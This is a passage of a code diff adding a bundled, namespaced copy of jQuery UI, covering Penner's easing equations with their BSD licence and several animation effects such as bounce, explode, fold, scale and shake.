+ return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
4598
+ },
4599
+ easeInOutExpo: function (x, t, b, c, d) {
4600
+ if (t==0) return b;
4601
+ if (t==d) return b+c;
4602
+ if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
4603
+ return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
4604
+ },
4605
+ easeInCirc: function (x, t, b, c, d) {
4606
+ return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
4607
+ },
4608
+ easeOutCirc: function (x, t, b, c, d) {
4609
+ return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
4610
+ },
4611
+ easeInOutCirc: function (x, t, b, c, d) {
4612
+ if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
4613
+ return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
4614
+ },
4615
+ easeInElastic: function (x, t, b, c, d) {
4616
+ var s=1.70158;var p=0;var a=c;
4617
+ if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
4618
+ if (a < Math.abs(c)) { a=c; var s=p/4; }
4619
+ else var s = p/(2*Math.PI) * Math.asin (c/a);
4620
+ return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
4621
+ },
4622
+ easeOutElastic: function (x, t, b, c, d) {
4623
+ var s=1.70158;var p=0;var a=c;
4624
+ if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
4625
+ if (a < Math.abs(c)) { a=c; var s=p/4; }
4626
+ else var s = p/(2*Math.PI) * Math.asin (c/a);
4627
+ return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
4628
+ },
4629
+ easeInOutElastic: function (x, t, b, c, d) {
4630
+ var s=1.70158;var p=0;var a=c;
4631
+ if (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5);
4632
+ if (a < Math.abs(c)) { a=c; var s=p/4; }
4633
+ else var s = p/(2*Math.PI) * Math.asin (c/a);
4634
+ if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
4635
+ return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
4636
+ },
4637
+ easeInBack: function (x, t, b, c, d, s) {
4638
+ if (s == undefined) s = 1.70158;
4639
+ return c*(t/=d)*t*((s+1)*t - s) + b;
4640
+ },
4641
+ easeOutBack: function (x, t, b, c, d, s) {
4642
+ if (s == undefined) s = 1.70158;
4643
+ return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
4644
+ },
4645
+ easeInOutBack: function (x, t, b, c, d, s) {
4646
+ if (s == undefined) s = 1.70158;
4647
+ if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
4648
+ return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
4649
+ },
4650
+ easeInBounce: function (x, t, b, c, d) {
4651
+ return c - $.easing.easeOutBounce (x, d-t, 0, c, d) + b;
4652
+ },
4653
+ easeOutBounce: function (x, t, b, c, d) {
4654
+ if ((t/=d) < (1/2.75)) {
4655
+ return c*(7.5625*t*t) + b;
4656
+ } else if (t < (2/2.75)) {
4657
+ return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
4658
+ } else if (t < (2.5/2.75)) {
4659
+ return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
4660
+ } else {
4661
+ return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
4662
+ }
4663
+ },
4664
+ easeInOutBounce: function (x, t, b, c, d) {
4665
+ if (t < d/2) return $.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
4666
+ return $.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
4667
+ }
4668
+ });
4669
+
4670
+ /*
4671
+ *
4672
+ * TERMS OF USE - EASING EQUATIONS
4673
+ *
4674
+ * Open source under the BSD License.
4675
+ *
4676
+ * Copyright 2001 Robert Penner
4677
+ * All rights reserved.
4678
+ *
4679
+ * Redistribution and use in source and binary forms, with or without modification,
4680
+ * are permitted provided that the following conditions are met:
4681
+ *
4682
+ * Redistributions of source code must retain the above copyright notice, this list of
4683
+ * conditions and the following disclaimer.
4684
+ * Redistributions in binary form must reproduce the above copyright notice, this list
4685
+ * of conditions and the following disclaimer in the documentation and/or other materials
4686
+ * provided with the distribution.
4687
+ *
4688
+ * Neither the name of the author nor the names of contributors may be used to endorse
4689
+ * or promote products derived from this software without specific prior written permission.
4690
+ *
4691
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
4692
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
4693
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
4694
+ * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
4695
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
4696
+ * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
4697
+ * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
4698
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
4699
+ * OF THE POSSIBILITY OF SUCH DAMAGE.
4700
+ *
4701
+ */
4702
+
4703
+ })(asljQuery);
4704
+
4705
+ (function( $, undefined ) {
4706
+
4707
+ $.effects.blind = function(o) {
4708
+
4709
+ return this.queue(function() {
4710
+
4711
+ // Create element
4712
+ var el = $(this), props = ['position','top','bottom','left','right'];
4713
+
4714
+ // Set options
4715
+ var mode = $.effects.setMode(el, o.options.mode || 'hide'); // Set Mode
4716
+ var direction = o.options.direction || 'vertical'; // Default direction
4717
+
4718
+ // Adjust
4719
+ $.effects.save(el, props); el.show(); // Save & Show
4720
+ var wrapper = $.effects.createWrapper(el).css({overflow:'hidden'}); // Create Wrapper
4721
+ var ref = (direction == 'vertical') ? 'height' : 'width';
4722
+ var distance = (direction == 'vertical') ? wrapper.height() : wrapper.width();
4723
+ if(mode == 'show') wrapper.css(ref, 0); // Shift
4724
+
4725
+ // Animation
4726
+ var animation = {};
4727
+ animation[ref] = mode == 'show' ? distance : 0;
4728
+
4729
+ // Animate
4730
+ wrapper.animate(animation, o.duration, o.options.easing, function() {
4731
+ if(mode == 'hide') el.hide(); // Hide
4732
+ $.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
4733
+ if(o.callback) o.callback.apply(el[0], arguments); // Callback
4734
+ el.dequeue();
4735
+ });
4736
+
4737
+ });
4738
+
4739
+ };
4740
+
4741
+ })(asljQuery);
4742
+
4743
+ (function( $, undefined ) {
4744
+
4745
+ $.effects.bounce = function(o) {
4746
+
4747
+ return this.queue(function() {
4748
+
4749
+ // Create element
4750
+ var el = $(this), props = ['position','top','bottom','left','right'];
4751
+
4752
+ // Set options
4753
+ var mode = $.effects.setMode(el, o.options.mode || 'effect'); // Set Mode
4754
+ var direction = o.options.direction || 'up'; // Default direction
4755
+ var distance = o.options.distance || 20; // Default distance
4756
+ var times = o.options.times || 5; // Default # of times
4757
+ var speed = o.duration || 250; // Default speed per bounce
4758
+ if (/show|hide/.test(mode)) props.push('opacity'); // Avoid touching opacity to prevent clearType and PNG issues in IE
4759
+
4760
+ // Adjust
4761
+ $.effects.save(el, props); el.show(); // Save & Show
4762
+ $.effects.createWrapper(el); // Create Wrapper
4763
+ var ref = (direction == 'up' || direction == 'down') ? 'top' : 'left';
4764
+ var motion = (direction == 'up' || direction == 'left') ? 'pos' : 'neg';
4765
+ var distance = o.options.distance || (ref == 'top' ? el.outerHeight({margin:true}) / 3 : el.outerWidth({margin:true}) / 3);
4766
+ if (mode == 'show') el.css('opacity', 0).css(ref, motion == 'pos' ? -distance : distance); // Shift
4767
+ if (mode == 'hide') distance = distance / (times * 2);
4768
+ if (mode != 'hide') times--;
4769
+
4770
+ // Animate
4771
+ if (mode == 'show') { // Show Bounce
4772
+ var animation = {opacity: 1};
4773
+ animation[ref] = (motion == 'pos' ? '+=' : '-=') + distance;
4774
+ el.animate(animation, speed / 2, o.options.easing);
4775
+ distance = distance / 2;
4776
+ times--;
4777
+ };
4778
+ for (var i = 0; i < times; i++) { // Bounces
4779
+ var animation1 = {}, animation2 = {};
4780
+ animation1[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
4781
+ animation2[ref] = (motion == 'pos' ? '+=' : '-=') + distance;
4782
+ el.animate(animation1, speed / 2, o.options.easing).animate(animation2, speed / 2, o.options.easing);
4783
+ distance = (mode == 'hide') ? distance * 2 : distance / 2;
4784
+ };
4785
+ if (mode == 'hide') { // Last Bounce
4786
+ var animation = {opacity: 0};
4787
+ animation[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
4788
+ el.animate(animation, speed / 2, o.options.easing, function(){
4789
+ el.hide(); // Hide
4790
+ $.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
4791
+ if(o.callback) o.callback.apply(this, arguments); // Callback
4792
+ });
4793
+ } else {
4794
+ var animation1 = {}, animation2 = {};
4795
+ animation1[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
4796
+ animation2[ref] = (motion == 'pos' ? '+=' : '-=') + distance;
4797
+ el.animate(animation1, speed / 2, o.options.easing).animate(animation2, speed / 2, o.options.easing, function(){
4798
+ $.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
4799
+ if(o.callback) o.callback.apply(this, arguments); // Callback
4800
+ });
4801
+ };
4802
+ el.queue('fx', function() { el.dequeue(); });
4803
+ el.dequeue();
4804
+ });
4805
+
4806
+ };
4807
+
4808
+ })(asljQuery);
4809
+
4810
+ (function( $, undefined ) {
4811
+
4812
+ $.effects.clip = function(o) {
4813
+
4814
+ return this.queue(function() {
4815
+
4816
+ // Create element
4817
+ var el = $(this), props = ['position','top','bottom','left','right','height','width'];
4818
+
4819
+ // Set options
4820
+ var mode = $.effects.setMode(el, o.options.mode || 'hide'); // Set Mode
4821
+ var direction = o.options.direction || 'vertical'; // Default direction
4822
+
4823
+ // Adjust
4824
+ $.effects.save(el, props); el.show(); // Save & Show
4825
+ var wrapper = $.effects.createWrapper(el).css({overflow:'hidden'}); // Create Wrapper
4826
+ var animate = el[0].tagName == 'IMG' ? wrapper : el;
4827
+ var ref = {
4828
+ size: (direction == 'vertical') ? 'height' : 'width',
4829
+ position: (direction == 'vertical') ? 'top' : 'left'
4830
+ };
4831
+ var distance = (direction == 'vertical') ? animate.height() : animate.width();
4832
+ if(mode == 'show') { animate.css(ref.size, 0); animate.css(ref.position, distance / 2); } // Shift
4833
+
4834
+ // Animation
4835
+ var animation = {};
4836
+ animation[ref.size] = mode == 'show' ? distance : 0;
4837
+ animation[ref.position] = mode == 'show' ? 0 : distance / 2;
4838
+
4839
+ // Animate
4840
+ animate.animate(animation, { queue: false, duration: o.duration, easing: o.options.easing, complete: function() {
4841
+ if(mode == 'hide') el.hide(); // Hide
4842
+ $.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
4843
+ if(o.callback) o.callback.apply(el[0], arguments); // Callback
4844
+ el.dequeue();
4845
+ }});
4846
+
4847
+ });
4848
+
4849
+ };
4850
+
4851
+ })(asljQuery);
4852
+
4853
+ (function( $, undefined ) {
4854
+
4855
+ $.effects.drop = function(o) {
4856
+
4857
+ return this.queue(function() {
4858
+
4859
+ // Create element
4860
+ var el = $(this), props = ['position','top','bottom','left','right','opacity'];
4861
+
4862
+ // Set options
4863
+ var mode = $.effects.setMode(el, o.options.mode || 'hide'); // Set Mode
4864
+ var direction = o.options.direction || 'left'; // Default Direction
4865
+
4866
+ // Adjust
4867
+ $.effects.save(el, props); el.show(); // Save & Show
4868
+ $.effects.createWrapper(el); // Create Wrapper
4869
+ var ref = (direction == 'up' || direction == 'down') ? 'top' : 'left';
4870
+ var motion = (direction == 'up' || direction == 'left') ? 'pos' : 'neg';
4871
+ var distance = o.options.distance || (ref == 'top' ? el.outerHeight({margin:true}) / 2 : el.outerWidth({margin:true}) / 2);
4872
+ if (mode == 'show') el.css('opacity', 0).css(ref, motion == 'pos' ? -distance : distance); // Shift
4873
+
4874
+ // Animation
4875
+ var animation = {opacity: mode == 'show' ? 1 : 0};
4876
+ animation[ref] = (mode == 'show' ? (motion == 'pos' ? '+=' : '-=') : (motion == 'pos' ? '-=' : '+=')) + distance;
4877
+
4878
+ // Animate
4879
+ el.animate(animation, { queue: false, duration: o.duration, easing: o.options.easing, complete: function() {
4880
+ if(mode == 'hide') el.hide(); // Hide
4881
+ $.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
4882
+ if(o.callback) o.callback.apply(this, arguments); // Callback
4883
+ el.dequeue();
4884
+ }});
4885
+
4886
+ });
4887
+
4888
+ };
4889
+
4890
+ })(asljQuery);
4891
+
4892
+ (function( $, undefined ) {
4893
+
4894
+ $.effects.explode = function(o) {
4895
+
4896
+ return this.queue(function() {
4897
+
4898
+ var rows = o.options.pieces ? Math.round(Math.sqrt(o.options.pieces)) : 3;
4899
+ var cells = o.options.pieces ? Math.round(Math.sqrt(o.options.pieces)) : 3;
4900
+
4901
+ o.options.mode = o.options.mode == 'toggle' ? ($(this).is(':visible') ? 'hide' : 'show') : o.options.mode;
4902
+ var el = $(this).show().css('visibility', 'hidden');
4903
+ var offset = el.offset();
4904
+
4905
+ //Substract the margins - not fixing the problem yet.
4906
+ offset.top -= parseInt(el.css("marginTop"),10) || 0;
4907
+ offset.left -= parseInt(el.css("marginLeft"),10) || 0;
4908
+
4909
+ var width = el.outerWidth(true);
4910
+ var height = el.outerHeight(true);
4911
+
4912
+ for(var i=0;i<rows;i++) { // =
4913
+ for(var j=0;j<cells;j++) { // ||
4914
+ el
4915
+ .clone()
4916
+ .appendTo('body')
4917
+ .wrap('<div></div>')
4918
+ .css({
4919
+ position: 'absolute',
4920
+ visibility: 'visible',
4921
+ left: -j*(width/cells),
4922
+ top: -i*(height/rows)
4923
+ })
4924
+ .parent()
4925
+ .addClass('ui-effects-explode')
4926
+ .css({
4927
+ position: 'absolute',
4928
+ overflow: 'hidden',
4929
+ width: width/cells,
4930
+ height: height/rows,
4931
+ left: offset.left + j*(width/cells) + (o.options.mode == 'show' ? (j-Math.floor(cells/2))*(width/cells) : 0),
4932
+ top: offset.top + i*(height/rows) + (o.options.mode == 'show' ? (i-Math.floor(rows/2))*(height/rows) : 0),
4933
+ opacity: o.options.mode == 'show' ? 0 : 1
4934
+ }).animate({
4935
+ left: offset.left + j*(width/cells) + (o.options.mode == 'show' ? 0 : (j-Math.floor(cells/2))*(width/cells)),
4936
+ top: offset.top + i*(height/rows) + (o.options.mode == 'show' ? 0 : (i-Math.floor(rows/2))*(height/rows)),
4937
+ opacity: o.options.mode == 'show' ? 1 : 0
4938
+ }, o.duration || 500);
4939
+ }
4940
+ }
4941
+
4942
+ // Set a timeout, to call the callback approx. when the other animations have finished
4943
+ setTimeout(function() {
4944
+
4945
+ o.options.mode == 'show' ? el.css({ visibility: 'visible' }) : el.css({ visibility: 'visible' }).hide();
4946
+ if(o.callback) o.callback.apply(el[0]); // Callback
4947
+ el.dequeue();
4948
+
4949
+ $('div.ui-effects-explode').remove();
4950
+
4951
+ }, o.duration || 500);
4952
+
4953
+
4954
+ });
4955
+
4956
+ };
4957
+
4958
+ })(asljQuery);
4959
+
4960
+ (function( $, undefined ) {
4961
+
4962
+ $.effects.fade = function(o) {
4963
+ return this.queue(function() {
4964
+ var elem = $(this),
4965
+ mode = $.effects.setMode(elem, o.options.mode || 'hide');
4966
+
4967
+ elem.animate({ opacity: mode }, {
4968
+ queue: false,
4969
+ duration: o.duration,
4970
+ easing: o.options.easing,
4971
+ complete: function() {
4972
+ (o.callback && o.callback.apply(this, arguments));
4973
+ elem.dequeue();
4974
+ }
4975
+ });
4976
+ });
4977
+ };
4978
+
4979
+ })(asljQuery);
4980
+
4981
+ (function( $, undefined ) {
4982
+
4983
+ $.effects.fold = function(o) {
4984
+
4985
+ return this.queue(function() {
4986
+
4987
+ // Create element
4988
+ var el = $(this), props = ['position','top','bottom','left','right'];
4989
+
4990
+ // Set options
4991
+ var mode = $.effects.setMode(el, o.options.mode || 'hide'); // Set Mode
4992
+ var size = o.options.size || 15; // Default fold size
4993
+ var horizFirst = !(!o.options.horizFirst); // Ensure a boolean value
4994
+ var duration = o.duration ? o.duration / 2 : $.fx.speeds._default / 2;
4995
+
4996
+ // Adjust
4997
+ $.effects.save(el, props); el.show(); // Save & Show
4998
+ var wrapper = $.effects.createWrapper(el).css({overflow:'hidden'}); // Create Wrapper
4999
+ var widthFirst = ((mode == 'show') != horizFirst);
5000
+ var ref = widthFirst ? ['width', 'height'] : ['height', 'width'];
5001
+ var distance = widthFirst ? [wrapper.width(), wrapper.height()] : [wrapper.height(), wrapper.width()];
5002
+ var percent = /([0-9]+)%/.exec(size);
5003
+ if(percent) size = parseInt(percent[1],10) / 100 * distance[mode == 'hide' ? 0 : 1];
5004
+ if(mode == 'show') wrapper.css(horizFirst ? {height: 0, width: size} : {height: size, width: 0}); // Shift
5005
+
5006
+ // Animation
5007
+ var animation1 = {}, animation2 = {};
5008
+ animation1[ref[0]] = mode == 'show' ? distance[0] : size;
5009
+ animation2[ref[1]] = mode == 'show' ? distance[1] : 0;
5010
+
5011
+ // Animate
5012
+ wrapper.animate(animation1, duration, o.options.easing)
5013
+ .animate(animation2, duration, o.options.easing, function() {
5014
+ if(mode == 'hide') el.hide(); // Hide
5015
+ $.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
5016
+ if(o.callback) o.callback.apply(el[0], arguments); // Callback
5017
+ el.dequeue();
5018
+ });
5019
+
5020
+ });
5021
+
5022
+ };
5023
+
5024
+ })(asljQuery);
5025
+
5026
+ (function( $, undefined ) {
5027
+
5028
+ $.effects.highlight = function(o) {
5029
+ return this.queue(function() {
5030
+ var elem = $(this),
5031
+ props = ['backgroundImage', 'backgroundColor', 'opacity'],
5032
+ mode = $.effects.setMode(elem, o.options.mode || 'show'),
5033
+ animation = {
5034
+ backgroundColor: elem.css('backgroundColor')
5035
+ };
5036
+
5037
+ if (mode == 'hide') {
5038
+ animation.opacity = 0;
5039
+ }
5040
+
5041
+ $.effects.save(elem, props);
5042
+ elem
5043
+ .show()
5044
+ .css({
5045
+ backgroundImage: 'none',
5046
+ backgroundColor: o.options.color || '#ffff99'
5047
+ })
5048
+ .animate(animation, {
5049
+ queue: false,
5050
+ duration: o.duration,
5051
+ easing: o.options.easing,
5052
+ complete: function() {
5053
+ (mode == 'hide' && elem.hide());
5054
+ $.effects.restore(elem, props);
5055
+ (mode == 'show' && !$.support.opacity && this.style.removeAttribute('filter'));
5056
+ (o.callback && o.callback.apply(this, arguments));
5057
+ elem.dequeue();
5058
+ }
5059
+ });
5060
+ });
5061
+ };
5062
+
5063
+ })(asljQuery);
5064
+
5065
+ (function( $, undefined ) {
5066
+
5067
+ $.effects.pulsate = function(o) {
5068
+ return this.queue(function() {
5069
+ var elem = $(this),
5070
+ mode = $.effects.setMode(elem, o.options.mode || 'show'),
5071
+ times = ((o.options.times || 5) * 2) - 1,
5072
+ duration = o.duration ? o.duration / 2 : $.fx.speeds._default / 2,
5073
+ isVisible = elem.is(':visible'),
5074
+ animateTo = 0;
5075
+
5076
+ if (!isVisible) {
5077
+ elem.css('opacity', 0).show();
5078
+ animateTo = 1;
5079
+ }
5080
+
5081
+ if ((mode == 'hide' && isVisible) || (mode == 'show' && !isVisible)) {
5082
+ times--;
5083
+ }
5084
+
5085
+ for (var i = 0; i < times; i++) {
5086
+ elem.animate({ opacity: animateTo }, duration, o.options.easing);
5087
+ animateTo = (animateTo + 1) % 2;
5088
+ }
5089
+
5090
+ elem.animate({ opacity: animateTo }, duration, o.options.easing, function() {
5091
+ if (animateTo == 0) {
5092
+ elem.hide();
5093
+ }
5094
+ (o.callback && o.callback.apply(this, arguments));
5095
+ });
5096
+
5097
+ elem
5098
+ .queue('fx', function() { elem.dequeue(); })
5099
+ .dequeue();
5100
+ });
5101
+ };
5102
+
5103
+ })(asljQuery);
5104
+
5105
+ (function( $, undefined ) {
5106
+
5107
+ $.effects.puff = function(o) {
5108
+ return this.queue(function() {
5109
+ var elem = $(this),
5110
+ mode = $.effects.setMode(elem, o.options.mode || 'hide'),
5111
+ percent = parseInt(o.options.percent, 10) || 150,
5112
+ factor = percent / 100,
5113
+ original = { height: elem.height(), width: elem.width() };
5114
+
5115
+ $.extend(o.options, {
5116
+ fade: true,
5117
+ mode: mode,
5118
+ percent: mode == 'hide' ? percent : 100,
5119
+ from: mode == 'hide'
5120
+ ? original
5121
+ : {
5122
+ height: original.height * factor,
5123
+ width: original.width * factor
5124
+ }
5125
+ });
5126
+
5127
+ elem.effect('scale', o.options, o.duration, o.callback);
5128
+ elem.dequeue();
5129
+ });
5130
+ };
5131
+
5132
+ $.effects.scale = function(o) {
5133
+
5134
+ return this.queue(function() {
5135
+
5136
+ // Create element
5137
+ var el = $(this);
5138
+
5139
+ // Set options
5140
+ var options = $.extend(true, {}, o.options);
5141
+ var mode = $.effects.setMode(el, o.options.mode || 'effect'); // Set Mode
5142
+ var percent = parseInt(o.options.percent,10) || (parseInt(o.options.percent,10) == 0 ? 0 : (mode == 'hide' ? 0 : 100)); // Set default scaling percent
5143
+ var direction = o.options.direction || 'both'; // Set default axis
5144
+ var origin = o.options.origin; // The origin of the scaling
5145
+ if (mode != 'effect') { // Set default origin and restore for show/hide
5146
+ options.origin = origin || ['middle','center'];
5147
+ options.restore = true;
5148
+ }
5149
+ var original = {height: el.height(), width: el.width()}; // Save original
5150
+ el.from = o.options.from || (mode == 'show' ? {height: 0, width: 0} : original); // Default from state
5151
+
5152
+ // Adjust
5153
+ var factor = { // Set scaling factor
5154
+ y: direction != 'horizontal' ? (percent / 100) : 1,
5155
+ x: direction != 'vertical' ? (percent / 100) : 1
5156
+ };
5157
+ el.to = {height: original.height * factor.y, width: original.width * factor.x}; // Set to state
5158
+
5159
+ if (o.options.fade) { // Fade option to support puff
5160
+ if (mode == 'show') {el.from.opacity = 0; el.to.opacity = 1;};
5161
+ if (mode == 'hide') {el.from.opacity = 1; el.to.opacity = 0;};
5162
+ };
5163
+
5164
+ // Animation
5165
+ options.from = el.from; options.to = el.to; options.mode = mode;
5166
+
5167
+ // Animate
5168
+ el.effect('size', options, o.duration, o.callback);
5169
+ el.dequeue();
5170
+ });
5171
+
5172
+ };
5173
+
5174
+ $.effects.size = function(o) {
5175
+
5176
+ return this.queue(function() {
5177
+
5178
+ // Create element
5179
+ var el = $(this), props = ['position','top','bottom','left','right','width','height','overflow','opacity'];
5180
+ var props1 = ['position','top','bottom','left','right','overflow','opacity']; // Always restore
5181
+ var props2 = ['width','height','overflow']; // Copy for children
5182
+ var cProps = ['fontSize'];
5183
+ var vProps = ['borderTopWidth', 'borderBottomWidth', 'paddingTop', 'paddingBottom'];
5184
+ var hProps = ['borderLeftWidth', 'borderRightWidth', 'paddingLeft', 'paddingRight'];
5185
+
5186
+ // Set options
5187
+ var mode = $.effects.setMode(el, o.options.mode || 'effect'); // Set Mode
5188
+ var restore = o.options.restore || false; // Default restore
5189
+ var scale = o.options.scale || 'both'; // Default scale mode
5190
+ var origin = o.options.origin; // The origin of the sizing
5191
+ var original = {height: el.height(), width: el.width()}; // Save original
5192
+ el.from = o.options.from || original; // Default from state
5193
+ el.to = o.options.to || original; // Default to state
5194
+ // Adjust
5195
+ if (origin) { // Calculate baseline shifts
5196
+ var baseline = $.effects.getBaseline(origin, original);
5197
+ el.from.top = (original.height - el.from.height) * baseline.y;
5198
+ el.from.left = (original.width - el.from.width) * baseline.x;
5199
+ el.to.top = (original.height - el.to.height) * baseline.y;
5200
+ el.to.left = (original.width - el.to.width) * baseline.x;
5201
+ };
5202
+ var factor = { // Set scaling factor
5203
+ from: {y: el.from.height / original.height, x: el.from.width / original.width},
5204
+ to: {y: el.to.height / original.height, x: el.to.width / original.width}
5205
+ };
5206
+ if (scale == 'box' || scale == 'both') { // Scale the css box
5207
+ if (factor.from.y != factor.to.y) { // Vertical props scaling
5208
+ props = props.concat(vProps);
5209
+ el.from = $.effects.setTransition(el, vProps, factor.from.y, el.from);
5210
+ el.to = $.effects.setTransition(el, vProps, factor.to.y, el.to);
5211
+ };
5212
+ if (factor.from.x != factor.to.x) { // Horizontal props scaling
5213
+ props = props.concat(hProps);
5214
+ el.from = $.effects.setTransition(el, hProps, factor.from.x, el.from);
5215
+ el.to = $.effects.setTransition(el, hProps, factor.to.x, el.to);
5216
+ };
5217
+ };
5218
+ if (scale == 'content' || scale == 'both') { // Scale the content
5219
+ if (factor.from.y != factor.to.y) { // Vertical props scaling
5220
+ props = props.concat(cProps);
5221
+ el.from = $.effects.setTransition(el, cProps, factor.from.y, el.from);
5222
+ el.to = $.effects.setTransition(el, cProps, factor.to.y, el.to);
5223
+ };
5224
+ };
5225
+ $.effects.save(el, restore ? props : props1); el.show(); // Save & Show
5226
+ $.effects.createWrapper(el); // Create Wrapper
5227
+ el.css('overflow','hidden').css(el.from); // Shift
5228
+
5229
+ // Animate
5230
+ if (scale == 'content' || scale == 'both') { // Scale the children
5231
+ vProps = vProps.concat(['marginTop','marginBottom']).concat(cProps); // Add margins/font-size
5232
+ hProps = hProps.concat(['marginLeft','marginRight']); // Add margins
5233
+ props2 = props.concat(vProps).concat(hProps); // Concat
5234
+ el.find("*[width]").each(function(){
5235
+ var child = $(this);
5236
+ if (restore) $.effects.save(child, props2);
5237
+ var c_original = {height: child.height(), width: child.width()}; // Save original
5238
+ child.from = {height: c_original.height * factor.from.y, width: c_original.width * factor.from.x};
5239
+ child.to = {height: c_original.height * factor.to.y, width: c_original.width * factor.to.x};
5240
+ if (factor.from.y != factor.to.y) { // Vertical props scaling
5241
+ child.from = $.effects.setTransition(child, vProps, factor.from.y, child.from);
5242
+ child.to = $.effects.setTransition(child, vProps, factor.to.y, child.to);
5243
+ };
5244
+ if (factor.from.x != factor.to.x) { // Horizontal props scaling
5245
+ child.from = $.effects.setTransition(child, hProps, factor.from.x, child.from);
5246
+ child.to = $.effects.setTransition(child, hProps, factor.to.x, child.to);
5247
+ };
5248
+ child.css(child.from); // Shift children
5249
+ child.animate(child.to, o.duration, o.options.easing, function(){
5250
+ if (restore) $.effects.restore(child, props2); // Restore children
5251
+ }); // Animate children
5252
+ });
5253
+ };
5254
+
5255
+ // Animate
5256
+ el.animate(el.to, { queue: false, duration: o.duration, easing: o.options.easing, complete: function() {
5257
+ if (el.to.opacity === 0) {
5258
+ el.css('opacity', el.from.opacity);
5259
+ }
5260
+ if(mode == 'hide') el.hide(); // Hide
5261
+ $.effects.restore(el, restore ? props : props1); $.effects.removeWrapper(el); // Restore
5262
+ if(o.callback) o.callback.apply(this, arguments); // Callback
5263
+ el.dequeue();
5264
+ }});
5265
+
5266
+ });
5267
+
5268
+ };
5269
+
5270
+ })(asljQuery);
5271
+
5272
+ (function( $, undefined ) {
5273
+
5274
+ $.effects.shake = function(o) {
5275
+
5276
+ return this.queue(function() {
5277
+
5278
+ // Create element
5279
+ var el = $(this), props = ['position','top','bottom','left','right'];
5280
+
5281
+ // Set options
5282
+ var mode = $.effects.setMode(el, o.options.mode || 'effect'); // Set Mode
5283
+ var direction = o.options.direction || 'left'; // Default direction
5284
+ var distance = o.options.distance || 20; // Default distance
5285
+ var times = o.options.times || 3; // Default # of times
5286
+ var speed = o.duration || o.options.duration || 140; // Default speed per shake
5287
+
5288
+ // Adjust
5289
+ $.effects.save(el, props); el.show(); // Save & Show
5290
+ $.effects.createWrapper(el); // Create Wrapper
5291
+ var ref = (direction == 'up' || direction == 'down') ? 'top' : 'left';
5292
+ var motion = (direction == 'up' || direction == 'left') ? 'pos' : 'neg';
5293
+
5294
+ // Animation
5295
+ var animation = {}, animation1 = {}, animation2 = {};
5296
+ animation[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
5297
+ animation1[ref] = (motion == 'pos' ? '+=' : '-=') + distance * 2;
5298
+ animation2[ref] = (motion == 'pos' ? '-=' : '+=') + distance * 2;
5299
+
5300
+ // Animate
5301
+ el.animate(animation, speed, o.options.easing);
5302
+ for (var i = 1; i < times; i++) { // Shakes
5303
+ el.animate(animation1, speed, o.options.easing).animate(animation2, speed, o.options.easing);
5304
+ };
5305
+ el.animate(animation1, speed, o.options.easing).
5306
+ animate(animation, speed / 2, o.options.easing, function(){ // Last shake
5307
+ $.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
5308
+ if(o.callback) o.callback.apply(this, arguments); // Callback
5309
+ });
5310
+ el.queue('fx', function() { el.dequeue(); });
5311
+ el.dequeue();
5312
+ });
5313
+
5314
+ };
5315
+
5316
+ })(asljQuery);
5317
+
5318
+ (function( $, undefined ) {
5319
+
5320
+ $.effects.slide = function(o) {
5321
+
5322
+ return this.queue(function() {
5323
+
5324
+ // Create element
5325
+ var el = $(this), props = ['position','top','bottom','left','right'];
5326
+
5327
+ // Set options
5328
+ var mode = $.effects.setMode(el, o.options.mode || 'show'); // Set Mode
5329
+ var direction = o.options.direction || 'left'; // Default Direction
5330
+
5331
+ // Adjust
5332
